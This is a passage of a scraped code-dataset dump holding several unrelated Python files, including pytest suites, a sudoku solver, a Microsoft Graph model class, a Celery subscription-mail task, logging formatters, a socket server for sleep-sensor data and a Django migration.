write(self, text):\n self.message.emit(text)\n\n def stop(self):\n self.terminate()\n\n def follow(self, thefile):\n # seek the end of the file\n thefile.seek(0, os.SEEK_END)\n\n # start infinite loop\n while self.isRunning():\n # read last line of file\n line = thefile.readline() # sleep if file hasn't been updated\n if not line:\n time.sleep(0.1)\n continue\n\n yield line\n","repo_name":"raidionics/Raidionics","sub_path":"gui/LogReaderThread.py","file_name":"LogReaderThread.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"48"} +{"seq_id":"42969977703","text":"# pytest suite\n\"\"\"\nTests for primitives_bookkeeping.\n\nThis is a suite of tests to be run with pytest.\n\nTo run:\n 1) Set the environment variable GEMPYTHON_TESTDATA to the path that\n contains the directories with the test data.\n Eg. /net/chara/data2/pub/gempython_testdata/\n 2) From the ??? (location): pytest -v --capture=no\n\"\"\"\n\n# TODO @bquint: clean up these tests\n\nimport astrodata\nimport gemini_instruments\nimport os\nimport pytest\n\n# from . import ad_compare\nfrom geminidr.niri.primitives_niri_image import NIRIImage\nfrom geminidr.gmos.primitives_gmos_image import GMOSImage\nfrom gempy.utils import logutils\n\nTESTDATAPATH = os.getenv('GEMPYTHON_TESTDATA', '.')\nlogfilename = 'test_bookkeeping.log'\n\n\n# --- Fixtures ---\n@pytest.fixture(scope=\"class\")\ndef log():\n\n if os.path.exists(logfilename):\n os.remove(logfilename)\n\n log = logutils.get_logger(__name__)\n log.root.handlers = []\n logutils.config(mode='standard', file_name=logfilename)\n\n yield log\n\n os.remove(logfilename)\n\n\n@pytest.fixture(scope=\"function\")\ndef niri_ads(request, astrofaker):\n return [astrofaker.create('NIRI', ['IMAGE'], filename=f\"X{i+1}.fits\")\n for i in range(request.param)]\n\n\n# --- Tests ---\n@pytest.mark.parametrize('niri_ads', [3], indirect=True)\ndef test_append_stream(niri_ads):\n \"\"\"Some manipulation of streams using appendStream()\"\"\"\n def filenames(stream):\n return ''.join([ad.filename[1] for ad in stream])\n\n p = NIRIImage(niri_ads[:1])\n p.streams['test'] = niri_ads[1:2]\n # Add the AD in 'test' to 'main' leaving it in 'test'\n p.appendStream(from_stream='test', copy=True)\n assert len(p.streams['main']) == 2\n assert len(p.streams['test']) == 1\n # Change filename of version in 'test' to confirm that the one in 'main'\n # is not simply a reference\n p.streams['test'][0].filename = 'X4.fits'\n assert filenames(p.streams['main']) == '12'\n\n # Add the copy in 'test' to 'main', and delete 'test'\n p.appendStream(from_stream='test', copy=False)\n assert len(p.streams['main']) == 3\n assert filenames(p.streams['main']) == '124'\n\n # Take 'test2', append 'main', and put the result in 'main'\n p.streams['test2'] = niri_ads[2:]\n p.appendStream(instream='test2', from_stream='main')\n assert filenames(p.streams['main']) == '3124'\n\n\n@pytest.mark.parametrize('niri_ads', [2], indirect=True)\ndef test_clear_all_streams(niri_ads):\n p = NIRIImage(niri_ads[:1])\n p.streams['test'] = niri_ads[1:]\n p.clearAllStreams()\n assert not p.streams['test']\n assert len(p.streams['main']) == 1\n\n\n@pytest.mark.parametrize('niri_ads', [2], indirect=True)\ndef test_clear_stream(niri_ads):\n p = NIRIImage(niri_ads[:1])\n p.streams['test'] = niri_ads[1:]\n p.clearStream(stream='test')\n assert not p.streams['test']\n assert len(p.streams['main']) == 1\n p.clearStream()\n assert not p.streams['main']\n\n\ndef test_slice_into_streams(astrofaker):\n def gmos_ads():\n ad1 = astrofaker.create(\"GMOS-N\")\n ad1.init_default_extensions()\n ad2 = astrofaker.create(\"GMOS-N\")\n ad2.init_default_extensions()\n return [ad1, ad2]\n\n # Slice, clearing \"main\"\n p = GMOSImage(gmos_ads())\n p.sliceIntoStreams(copy=False)\n p.clearStream()\n assert len(p.streams) == 13\n for k, v in p.streams.items():\n assert len(v) == 0 if k == 'main' else 2\n\n # Slice, not clearing \"main\"\n p = GMOSImage(gmos_ads())\n p.sliceIntoStreams(copy=True)\n assert len(p.streams) == 13\n for k, v in p.streams.items():\n assert len(v) == 2\n\n # Slice with different lengths of input\n ad1, ad2 = gmos_ads()\n ad2.phu['EXTRA_KW'] = 33\n del ad1[5]\n p = GMOSImage([ad1, ad2])\n p.sliceIntoStreams(copy=True)\n assert len(p.streams) == 13\n for k, v in p.streams.items():\n assert len(v) == 1 if k == 'ext12' else 2\n # The last stream should only have a slice from ad2\n assert 'EXTRA_KW' in p.streams['ext12'][0].phu\n\n\nclass TestBookkeeping:\n \"\"\"\n Suite of tests for the functions in the primitives_standardize module.\n \"\"\"\n\n @pytest.mark.xfail(reason=\"Test needs revision\", run=False)\n def test_addToList(self):\n filenames = ['N20070819S{:04d}_flatCorrected.fits'.format(i)\n for i in range(104, 109)]\n\n adinputs = [astrodata.open(os.path.join(TESTDATAPATH, 'NIRI', f))\n for f in filenames]\n\n # Add one image twice, just for laughs; it should appear only once\n adinputs.append(adinputs[0])\n\n p = NIRIImage(adinputs)\n p.stacks = {}\n p.addToList(purpose='forTest')\n\n for f in filenames:\n newfilename = f.replace('flatCorrected', 'forTest')\n assert os.path.exists(newfilename)\n os.remove(newfilename)\n\n # Check there's one stack of length 5\n assert len(p.stacks) == 1\n assert len(p.stacks[p.stacks.keys()[0]]) == 5\n\n @pytest.mark.xfail(reason=\"Test needs revision\", run=False)\n def test_getList(self):\n pass\n\n @pytest.mark.xfail(reason=\"Test needs revision\", run=False)\n def test_showInputs(self):\n pass\n\n @pytest.mark.xfail(reason=\"Test needs revision\", run=False)\n def test_showList(self):\n pass\n\n @pytest.mark.xfail(reason=\"Test needs revision\", run=False)\n def test_writeOutputs(self):\n filenames = ['N20070819S{:04d}_flatCorrected.fits'.format(i)\n for i in range(104, 106)]\n\n adinputs = [astrodata.open(os.path.join(TESTDATAPATH, 'NIRI', f))\n for f in filenames]\n\n p = NIRIImage(adinputs)\n p.writeOutputs(prefix='test', suffix='_blah', strip=True)\n\n # Check renamed files are on disk and the filenames have been\n # changed for the adinputs\n for f, ad in zip(filenames, p.streams['main']):\n newfilename = 'test' + f.replace('flatCorrected', 'blah')\n assert os.path.exists(newfilename)\n\n os.remove(newfilename)\n assert newfilename == ad.filename\n","repo_name":"GeminiDRSoftware/DRAGONS","sub_path":"geminidr/core/tests/test_bookkeeping.py","file_name":"test_bookkeeping.py","file_ext":"py","file_size_in_byte":6057,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"48"} +{"seq_id":"42584584099","text":"# Sudoku AI\n\ndef cross(a, b):\n return [s + t for s in a for t in b]\n\ndef diag_peers(peers):\n for diagonal in diagonals:\n for box in diagonal:\n peers[box].update(diagonal)\n peers[box].remove(box)\n return peers\n\nassignments = []\nrows = 'ABCDEFGHI'\ncols = '123456789'\nboxes = cross(rows, cols)\nrow_units = [cross(r, cols) for r in rows]\ncolumn_units = [cross(rows, c) for c in cols]\nsquare_units = [cross(rs, cs) for rs in ('ABC', 'DEF', 'GHI') for cs in ('123', '456', '789')]\ndiag_one = set(rows[c] + str(c + 1) for c in (0, 1, 2, 3, 4, 5, 6, 7, 8))\ndiag_two = set(rows[c] + str(9 - c) for c in (0, 1, 2, 3, 4, 5, 6, 7, 8))\ndiagonals = [diag_one, diag_two]\nunitlist = row_units + column_units + square_units\nunits = dict((s, [u for u in unitlist if s in u]) for s in boxes)\npeers = dict((s, set(sum(units[s], [])) - set([s])) for s in boxes)\npeers = diag_peers(peers)\n\ndef assign_value(values, box, value):\n \"\"\"\n Please use this function to update your values dictionary!\n Assigns a value to a given box. If it updates the board record it.\n \"\"\"\n\n # Don't waste memory appending actions that don't actually change any values\n if values[box] == value:\n return values\n\n values[box] = value\n if len(value) == 1:\n assignments.append(values.copy())\n return values\n\ndef grid_values(grid):\n \"\"\"Convert grid string into {: } dict with '123456789' value for empties.\n\n Args:\n grid: Sudoku grid in string form, 81 characters long\n Returns:\n Sudoku grid in dictionary form:\n - keys: Box labels, e.g. 'A1'\n - values: Value in corresponding box, e.g. '8', or '123456789' if it is empty.\n \"\"\"\n values = []\n all_digits = '123456789'\n for c in grid:\n if c == '.':\n values.append(all_digits)\n elif c in all_digits:\n values.append(c)\n assert len(values) == 81\n return dict(zip(boxes, values))\n\ndef display(values):\n \"\"\"\n Display the values as a 2-D grid.\n Input: The sudoku in dictionary form\n Output: None\n \"\"\"\n width = 1 + max(len(values[s]) for s in boxes)\n line = '+'.join(['-' * (width * 3)] * 3)\n for r in rows:\n print(''.join(values[r + c].center(width) + ('|' if c in '36' else '')\n for c in cols))\n if r in 'CF': print(line)\n return\n\ndef eliminate(values):\n \"\"\"Eliminate values from peers of each box with a single value.\n\n Go through all the boxes, and whenever there is a box with a single value,\n eliminate this value from the set of values of all its peers.\n\n Args:\n values: Sudoku in dictionary form.\n Returns:\n Resulting Sudoku in dictionary form after eliminating values.\n \"\"\"\n solved_values = [box for box in values.keys() if len(values[box]) == 1]\n for box in solved_values:\n digit = values[box]\n for peer in peers[box]:\n values = assign_value(values, peer, values[peer].replace(digit, ''))\n return values\n\ndef only_choice(values):\n \"\"\"Finalize all values that are the only choice for a unit.\n\n Go through all the units, and whenever there is a unit with a value\n that only fits in one box, assign the value to this box.\n\n Input: Sudoku in dictionary form.\n Output: Resulting Sudoku in dictionary form after filling in only choices.\n \"\"\"\n for unit in unitlist:\n for digit in '123456789':\n dplaces = [box for box in unit if digit in values[box]]\n if len(dplaces) == 1:\n values = assign_value(values, dplaces[0], digit)\n return values\n\ndef find_twins(values, box_pairs):\n \"\"\"Determine all the naked twins that exist on the Sudoku.\n \n Input: Sudoku in dictionary form and all boxes with length of two.\n Output: Resulting naked twins dictionary.\n \"\"\"\n naked_twins = dict()\n for twin_box in box_pairs:\n boxes = peers[twin_box]\n pairs = box_pairs & boxes\n # Define a dictionary to determine if there are pairs with same value in the\n # same unit. The key of the dictionary is the numeric value of a box and the\n # dictionary value will be a list of the boxes. Such as {'27':['H1', 'A1']}.\n value_boxes = dict()\n value_boxes[values[twin_box]] = list()\n value_boxes[values[twin_box]].append(twin_box)\n for box in pairs:\n value = values[box]\n if value not in value_boxes:\n value_boxes[value] = list()\n value_boxes[value].append(box)\n else:\n value_boxes[value].append(box)\n # From the dictionary built above determine if there are naked twins.\n # The key of the dictionary will be a pair of boxes sorted such as \"A1H1\"\n # and the value will be a sorted list of such boxes like (['A1', 'H1']).\n for value in value_boxes:\n if len(value_boxes[value]) == 2:\n pairs = sorted(value_boxes[value])\n size_diag_one = len(diag_one & set(pairs))\n size_diag_two = len(diag_two & set(pairs))\n key = pairs[0] + pairs[1]\n # This rule determine if are naked pairs if two boxes belongs to the same row, column or diagonal.\n if key not in naked_twins and (pairs[0][0] == pairs[1][0] or pairs[0][1] == pairs[1][1]\n or size_diag_one == 2 or size_diag_two == 2):\n naked_twins[key] = pairs\n return naked_twins\n\ndef eliminate_digits(values, digits, boxes):\n \"\"\"Eliminate all the provided digits from the provided boxes.\n\n Input: Sudoku in dictionary form, digits that will be replaced on the given boxes.\n \"\"\"\n for box in boxes:\n for digit in digits:\n values = assign_value(values, box, values[box].replace(digit, ''))\n return values\n\ndef eliminate_twins_units(values, twin_boxes):\n \"\"\"Eliminate all the naked twins on Sudoku.\n\n Input: Sudoku in dictionary form and the naked twins that need to be eliminated in the Sudoku.\n Output: Resulting Sudoku in dictionary form after eliminating naked twins.\n \"\"\"\n for key in twin_boxes:\n # Extract the pair of naked twins that will be used\n twins = twin_boxes[key]\n box_one = twins[0]\n box_two = twins[1]\n # Determine the boxes that needs to be updated\n boxes_1 = peers[box_one]\n boxes_2 = peers[box_two]\n all_boxes = boxes_1 & boxes_2\n # Update boxes with length greater than one\n boxes = [box for box in all_boxes if len(values[box]) > 1]\n # Determine the digits that needs to be eliminated\n digits = values[box_one]\n values = eliminate_digits(values, digits, boxes)\n return values\n\ndef naked_twins(values):\n \"\"\"Eliminate values using the naked twins strategy.\n Args:\n values(dict): a dictionary of the form {'box_name': '123456789', ...}\n\n Returns:\n the values dictionary with the naked twins eliminated from peers.\n \"\"\"\n pair_boxes = list()\n # Find all the boxes with length of two\n for box in boxes:\n if len(values[box]) == 2:\n pair_boxes.append(box)\n # Remove all the duplicate boxes\n pair_boxes = set(pair_boxes)\n # Determine the proper naked twins\n naked_twins = find_twins(values, pair_boxes)\n # Eliminate all the naked twins from the Sudoku\n eliminate_twins_units(values, naked_twins)\n return values\n\ndef reduce_puzzle(values):\n \"\"\"\n Iterate eliminate() and only_choice(). If at some point, there is a box with no available values, return False.\n If the sudoku is solved, return the sudoku.\n If after an iteration of both functions, the sudoku remains the same, return the sudoku.\n Input: A sudoku in dictionary form.\n Output: The resulting sudoku in dictionary form.\n \"\"\"\n solved_values = [box for box in values.keys() if len(values[box]) == 1]\n stalled = False\n while not stalled:\n solved_values_before = len([box for box in values.keys() if len(values[box]) == 1])\n values = eliminate(values)\n values = only_choice(values)\n values = naked_twins(values)\n solved_values_after = len([box for box in values.keys() if len(values[box]) == 1])\n stalled = solved_values_before == solved_values_after\n if len([box for box in values.keys() if len(values[box]) == 0]):\n return False\n return values\n\ndef search(values):\n \"Using depth-first search and propagation, try all possible values.\"\n # First, reduce the puzzle using the previous function\n values = reduce_puzzle(values)\n if values is False:\n return False ## Failed earlier\n if all(len(values[s]) == 1 for s in boxes):\n return values ## Solved!\n # Choose one of the unfilled squares with the fewest possibilities\n n, s = min((len(values[s]), s) for s in boxes if len(values[s]) > 1)\n # Now use recurrence to solve each one of the resulting sudokus, and\n for value in values[s]:\n new_sudoku = values.copy()\n new_sudoku[s] = value\n attempt = search(new_sudoku)\n if attempt:\n return attempt\n\ndef solve(grid):\n \"\"\"\n Find the solution to a Sudoku grid.\n Args:\n grid(string): a string representing a sudoku grid.\n Example: '2.............62....1....7...6..8...3...9...7...6..4...4....8....52.............3'\n Returns:\n The dictionary representation of the final sudoku grid. False if no solution exists.\n \"\"\"\n return search(grid_values(grid))\n\nif __name__ == '__main__':\n diag_sudoku_grid = '2.............62....1....7...6..8...3...9...7...6..4...4....8....52.............3'\n display(solve(diag_sudoku_grid))\n\n try:\n from visualize import visualize_assignments\n\n visualize_assignments(assignments)\n\n except SystemExit:\n pass\n except:\n print('We could not visualize your board due to a pygame issue. Not a problem! It is not a requirement.')\n","repo_name":"encomp/AIND-Sudoku","sub_path":"solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":10012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"40714205638","text":"from __future__ import annotations\nfrom dataclasses import dataclass, field\nfrom kiota_abstractions.serialization import AdditionalDataHolder, Parsable, ParseNode, SerializationWriter\nfrom kiota_abstractions.store import BackedModel, BackingStore, BackingStoreFactorySingleton\nfrom typing import Any, Callable, Dict, List, Optional, TYPE_CHECKING, Union\n\nif TYPE_CHECKING:\n from .application_mode import ApplicationMode\n from .label_action_base import LabelActionBase\n\n@dataclass\nclass MatchingLabel(AdditionalDataHolder, BackedModel, Parsable):\n # Stores model information.\n backing_store: BackingStore = field(default_factory=BackingStoreFactorySingleton(backing_store_factory=None).backing_store_factory.create_backing_store, repr=False)\n\n # Stores additional data not described in the OpenAPI description found when deserializing. Can be used for serialization as well.\n additional_data: Dict[str, Any] = field(default_factory=dict)\n # The applicationMode property\n application_mode: Optional[ApplicationMode] = None\n # The description property\n description: Optional[str] = None\n # The displayName property\n display_name: Optional[str] = None\n # The id property\n id: Optional[str] = None\n # The isEndpointProtectionEnabled property\n is_endpoint_protection_enabled: Optional[bool] = None\n # The labelActions property\n label_actions: Optional[List[LabelActionBase]] = None\n # The name property\n name: Optional[str] = None\n # The OdataType property\n odata_type: Optional[str] = None\n # The policyTip property\n policy_tip: Optional[str] = None\n # The priority property\n priority: Optional[int] = None\n # The toolTip property\n tool_tip: Optional[str] = None\n \n @staticmethod\n def create_from_discriminator_value(parse_node: Optional[ParseNode] = None) -> MatchingLabel:\n \"\"\"\n Creates a new instance of the appropriate class based on discriminator value\n param parse_node: The parse node to use to read the discriminator value and create the object\n Returns: MatchingLabel\n \"\"\"\n if not parse_node:\n raise TypeError(\"parse_node cannot be null.\")\n return MatchingLabel()\n \n def get_field_deserializers(self,) -> Dict[str, Callable[[ParseNode], None]]:\n \"\"\"\n The deserialization information for the current model\n Returns: Dict[str, Callable[[ParseNode], None]]\n \"\"\"\n from .application_mode import ApplicationMode\n from .label_action_base import LabelActionBase\n\n from .application_mode import ApplicationMode\n from .label_action_base import LabelActionBase\n\n fields: Dict[str, Callable[[Any], None]] = {\n \"applicationMode\": lambda n : setattr(self, 'application_mode', n.get_enum_value(ApplicationMode)),\n \"description\": lambda n : setattr(self, 'description', n.get_str_value()),\n \"displayName\": lambda n : setattr(self, 'display_name', n.get_str_value()),\n \"id\": lambda n : setattr(self, 'id', n.get_str_value()),\n \"isEndpointProtectionEnabled\": lambda n : setattr(self, 'is_endpoint_protection_enabled', n.get_bool_value()),\n \"labelActions\": lambda n : setattr(self, 'label_actions', n.get_collection_of_object_values(LabelActionBase)),\n \"name\": lambda n : setattr(self, 'name', n.get_str_value()),\n \"@odata.type\": lambda n : setattr(self, 'odata_type', n.get_str_value()),\n \"policyTip\": lambda n : setattr(self, 'policy_tip', n.get_str_value()),\n \"priority\": lambda n : setattr(self, 'priority', n.get_int_value()),\n \"toolTip\": lambda n : setattr(self, 'tool_tip', n.get_str_value()),\n }\n return fields\n \n def serialize(self,writer: SerializationWriter) -> None:\n \"\"\"\n Serializes information the current object\n param writer: Serialization writer to use to serialize this model\n Returns: None\n \"\"\"\n if not writer:\n raise TypeError(\"writer cannot be null.\")\n writer.write_enum_value(\"applicationMode\", self.application_mode)\n writer.write_str_value(\"description\", self.description)\n writer.write_str_value(\"displayName\", self.display_name)\n writer.write_str_value(\"id\", self.id)\n writer.write_bool_value(\"isEndpointProtectionEnabled\", self.is_endpoint_protection_enabled)\n writer.write_collection_of_object_values(\"labelActions\", self.label_actions)\n writer.write_str_value(\"name\", self.name)\n writer.write_str_value(\"@odata.type\", self.odata_type)\n writer.write_str_value(\"policyTip\", self.policy_tip)\n writer.write_int_value(\"priority\", self.priority)\n writer.write_str_value(\"toolTip\", self.tool_tip)\n writer.write_additional_data_value(self.additional_data)\n \n\n","repo_name":"microsoftgraph/msgraph-beta-sdk-python","sub_path":"msgraph_beta/generated/models/matching_label.py","file_name":"matching_label.py","file_ext":"py","file_size_in_byte":4868,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"48"} +{"seq_id":"30135105387","text":"\"\"\"\nAUTHOR: zeng_xiao_yu\nGITHUB: https://github.com/zengxiaolou\nEMAIL: zengevent@gmail.com\nTIME: 2020/10/24-12:39\nINSTRUCTIONS: 文件简介\n\"\"\"\nfrom celery import shared_task\nfrom django.core.mail import send_mail\n\nfrom apis.operations.models import Subscribe\n\n\n@shared_task\ndef send_mails(theme: str, title: str, url: str):\n \"\"\"发送订阅邮件\"\"\"\n subscribe = Subscribe.objects.all()\n emails = []\n if subscribe:\n for i in subscribe:\n emails.append(i.email)\n emails.append('18328457630@163.com')\n send_mail(\n theme,\n '您订阅的破栈(http://blog.messstack.com)有新文章发布\\n标题: ' + title + \"\\n地址:\" + url,\n '18328457630@163.com',\n emails,\n fail_silently=False\n )","repo_name":"zengxiaolou/blog-back","sub_path":"apis/article/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"27745503134","text":"\"\"\"\n ██▄██ ▄▀▄ █▀▄ █▀▀ . █▀▄ █░█\n █░▀░█ █▄█ █░█ █▀▀ . █▀▄ ▀█▀\n ▀░░░▀ ▀░▀ ▀▀░ ▀▀▀ . ▀▀░ ░▀░\n▒▐█▀█─░▄█▀▄─▒▐▌▒▐▌░▐█▀▀▒██░░░░▐█▀█▄─░▄█▀▄─▒█▀█▀█\n▒▐█▄█░▐█▄▄▐█░▒█▒█░░▐█▀▀▒██░░░░▐█▌▐█░▐█▄▄▐█░░▒█░░\n▒▐█░░░▐█─░▐█░▒▀▄▀░░▐█▄▄▒██▄▄█░▐█▄█▀░▐█─░▐█░▒▄█▄░\n\"\"\"\n\nimport logging\n\n\nclass ConsoleFormatter(logging.Formatter):\n \"\"\"\n Console formatter.\n \"\"\"\n\n info_color = '\\x1b[0m'\n warning_color = '\\x1b[33;20m'\n error_color = '\\x1b[31;20m'\n console_format = '%(asctime)s | %(levelname)-8s | %(name)s | %(message)s'\n\n FORMATS = {\n logging.INFO: info_color + console_format,\n logging.WARNING: warning_color + console_format + info_color,\n logging.DEBUG: info_color + console_format,\n logging.ERROR: error_color + console_format + info_color,\n logging.CRITICAL: error_color + console_format + info_color\n }\n\n def format(self, record):\n log_format = self.FORMATS.get(record.levelno)\n formatter = logging.Formatter(log_format)\n return formatter.format(record)\n\n\nclass FileFormatter(logging.Formatter):\n \"\"\"\n File formatter.\n \"\"\"\n\n file_format = '%(asctime)s | %(levelname)-8s | %(name)s | %(message)s'\n\n FORMATS = {\n logging.INFO: file_format,\n logging.WARNING: file_format,\n logging.DEBUG: file_format,\n logging.ERROR: file_format,\n logging.CRITICAL: file_format\n }\n\n def format(self, record):\n log_format = self.FORMATS.get(record.levelno)\n formatter = logging.Formatter(log_format)\n return formatter.format(record)\n","repo_name":"paveldat/Gods-eye","sub_path":"src/logger/formatter.py","file_name":"formatter.py","file_ext":"py","file_size_in_byte":1983,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"48"} +{"seq_id":"29205812673","text":"import socket\nimport sys\n#import faceDetectionUsingImage\nimport time\nimport sleepwake_accelerometer\nimport heart_rate_detection\nimport BlueSerial\nimport threading\nmotion = False\nhr = 0\nclass Server:\n\n def __init__(self):\n self.host = \"128.237.248.250\"\n self.port = 8889\n self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.client = None\n try:\n self.socket.bind((self.host, self.port))\n except socket.error as err:\n print (\"Bind Failed, Error Code: \" + str(err[0]) + \", Message: \" + err[1])\n sys.exit()\n print (\"Server started successfully\")\n\n def connect(self):\n print(\"aaah\")\n self.socket.listen(1)\n self.client, addr = self.socket.accept()\n print ('Connected with ' + addr[0] + ':' + str(addr[1]))\n\n def send(self, data):\n self.client.sendall(data)\n print (\"Sent data to client\")\n \n def disconnect(self):\n self.client.close()\n print (\"Server stopped successfully\")\n\ndef package_data(awoken, hour, eyes, mot):\n s = \"\"\n s += \"Awoken: \" + str(awoken) + \"\\n\"\n s += \"Heart Rate: \" + str(hour) + \"\\n\"\n s += \"Eyes Open: \" + str(eyes) + \"\\n\"\n s += \"Motion: \" + str(mot) + \"\\n\"\n return s\n\ndef update_awake(prev_awake, next_awake, data):\n prev_awake = next_awake\n eyes, motion, hr = data\n if (eyes == \"Open\" and motion == True and hr > 140):\n next_awake = True\n awoken = False\n if (prev_awake == False and next_awake == True):\n awoken = True\n return prev_awake, next_awake, awoken\n\ndef updateSensorData(lock):\n global motion\n global hr\n print(\"we here\")\n heartrateData,accData = BlueSerial.main()\n lock.acquire()\n motion = sleepwake_accelerometer.main(accData)\n hr = heart_rate_detection.main(heartrateData)\n #print(\"we here\")\n lock.release()\n \n \n\nserver = Server()\nprev_awake = True\nnext_awake = True\nwhile (1):\n ### expects data in this format\n ### \"alert\\nhr\\neyes\\nmotion\\n\"\n try:\n print(\"hi\")\n lock = threading.Lock()\n t1 = threading.Thread(target=updateSensorData, args=(lock,))\n t1.start()\n #heartrateData,accData = BlueSerial.main()\n print(\"done\")\n## eyes = faceDetectionUsingImage.main()\n## motion = sleepwake_accelerometer.main(accData)\n## hr = heart_rate_detection.main(heartrateData)\n eyes = \"Open\"\n prev_awake, next_awake, awoken = update_awake(prev_awake, next_awake, [eyes, motion, hr])\n print(prev_awake, next_awake, awoken)\n #awoken = True\n data = package_data(awoken, hr, eyes, motion)\n server.connect()\n server.send(bytes(data))\n server.disconnect()\n except KeyboardInterrupt:\n print(\"socket closed\")\n server.socket.close()\n sys.exit(0)\n except Exception as e:\n server.socket.close()\n raise e\n break\n\n \n\n","repo_name":"angelafgao/ECE_Capstone","sub_path":"server_concurrent.py","file_name":"server_concurrent.py","file_ext":"py","file_size_in_byte":2961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33406158834","text":"from ulakbus.models import BAPButcePlani\nfrom ulakbus.models import BAPProje, User\nfrom zengine.lib.test_utils import BaseTestCase\nfrom zengine.models import WFInstance, Message\nimport time\n\n\nclass TestCase(BaseTestCase):\n \"\"\"\n Koordinasyon birimi muhasebe kodları girişi testi.\n \"\"\"\n def test_bap_butce_fisi(self):\n # Kullanıcıya login yaptırılır\n self.prepare_client('/bap_butce_fisi', username='bap_koordinasyon_birimi_1')\n # Proje id input olarak is akisina gönderilir.\n resp = self.client.post(bap_proje_id='WlRiJzMM4XExfmbgVyJDBZAUGg')\n # Gelen liste ile projenin sahip olduğu butce kalemlerinin sayisi kontrol edilir.\n assert len(resp.json['forms']['model']['ButceKalemList']) == BAPButcePlani.objects.all(\n ilgili_proje_id='WlRiJzMM4XExfmbgVyJDBZAUGg').count()\n\n form = {\n \"kaydet\": 1,\n \"ButceKalemList\": [\n {\n \"muhasebe_kod\": \"03.2.1.01\",\n \"kod_adi\": \"Büro Malzemesi Alımları\",\n \"ad\": \"Masa Lambası\",\n \"key\": \"RTcF939bRmDaET4b5lLi9lrbPEh\",\n \"muhasebe_kod_genel\": 1\n },\n {\n \"muhasebe_kod\": \"03.2.1.02\",\n \"kod_adi\": \"Büro Malzemesi Alımları\",\n \"ad\": \"Sandalye\",\n \"key\": \"6nc6cOtND2nzqAJ8WMhGJz6ATAa\",\n \"muhasebe_kod_genel\": 1\n },\n {\n \"muhasebe_kod\": \"03.2.1.01\",\n \"kod_adi\": \"Büro Malzemesi Alımları\",\n \"ad\": \"Çalışma Masası\",\n \"key\": \"T315MMLAMm8BUy0yz2xnGGoxzGd\",\n \"muhasebe_kod_genel\": 1\n },\n {\n \"muhasebe_kod\": \"03.2.1.01\",\n \"kod_adi\": \"Kırtasiye Alımları\",\n \"ad\": \"USB Bellek\",\n \"key\": \"WD0K3k6syBXJOX9hkS5wBmnCQBD\",\n \"muhasebe_kod_genel\": 1\n },\n {\n \"muhasebe_kod\": \"03.2.1.02\",\n \"kod_adi\": \"Kırtasiye Alımları\",\n \"ad\": \"Şeffaf Dosya\",\n \"key\": \"Jj8IRgcmS6HFNKPegm5wASOjUAB\",\n \"muhasebe_kod_genel\": 1\n },\n {\n \"muhasebe_kod\": \"03.7.3.02\",\n \"kod_adi\": \"VID200\",\n \"ad\": \"Vida\",\n \"key\": \"94FrwJMNAW9CmJQkqcTo8VUYusA\",\n \"muhasebe_kod_genel\": 1\n },\n {\n \"muhasebe_kod\": \"03.2.1.01\",\n \"kod_adi\": \"Kırtasiye Alımları\",\n \"ad\": \"Kağıt\",\n \"key\": \"7uvtCCHGqcjnAdhVMDtBKYiFQ2T\",\n \"muhasebe_kod_genel\": 1\n },\n {\n \"muhasebe_kod\": \"03.2.1.01\",\n \"kod_adi\": \"Kırtasiye Alımları\",\n \"ad\": \"Silgi\",\n \"key\": \"BNfJoUkHVZKH2dmjzZEuJST4its\",\n \"muhasebe_kod_genel\": 1\n },\n {\n \"muhasebe_kod\": \"03.7.2.01\",\n \"kod_adi\": \"EE250\",\n \"ad\": \"Arduino\",\n \"key\": \"MpRqF2BZk6sMbi4QNkQvTNH1mVW\",\n \"muhasebe_kod_genel\": 1\n }\n ]\n }\n\n resp = self.client.post(form=form)\n\n assert resp.json['forms']['model']['ButceKalemList'][0]['muhasebe_kod'] == \\\n form['ButceKalemList'][0]['muhasebe_kod']\n\n assert resp.json['forms']['model']['ButceKalemList'][0][\n 'muhasebe_kod'] == BAPButcePlani.objects.get(\n resp.json['forms']['model']['ButceKalemList'][0]['key']).muhasebe_kod\n\n self.client.post(cmd='geri')\n\n form['ButceKalemList'][0]['muhasebe_kod'] = \"03.2.1.02\"\n\n resp = self.client.post(form=form)\n\n assert resp.json['forms']['model']['ButceKalemList'][0]['muhasebe_kod'] == \\\n form['ButceKalemList'][0]['muhasebe_kod']\n\n assert resp.json['forms']['model']['ButceKalemList'][0][\n 'muhasebe_kod'] == BAPButcePlani.objects.get(\n resp.json['forms']['model']['ButceKalemList'][0]['key']).muhasebe_kod\n\n self.client.post(cmd='bitir')\n","repo_name":"zetaops/ulakbus","sub_path":"tests/test_bap_butce_fisi.py","file_name":"test_bap_butce_fisi.py","file_ext":"py","file_size_in_byte":4418,"program_lang":"python","lang":"tr","doc_type":"code","stars":101,"dataset":"github-code","pt":"48"} +{"seq_id":"71389727507","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('totales', '0006_auto_20160602_2151'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Book',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('title', models.CharField(max_length=255)),\n ('cantidad', models.DecimalField(null=True, max_digits=10, decimal_places=2)),\n ('precio', models.DecimalField(null=True, max_digits=10, decimal_places=2)),\n ],\n ),\n migrations.RemoveField(\n model_name='detalle_compra',\n name='product',\n ),\n migrations.RemoveField(\n model_name='detalle_compra',\n name='provider',\n ),\n migrations.RemoveField(\n model_name='compras',\n name='product',\n ),\n migrations.DeleteModel(\n name='Detalle_Compra',\n ),\n migrations.AddField(\n model_name='book',\n name='author',\n field=models.ForeignKey(to='totales.Compras'),\n ),\n 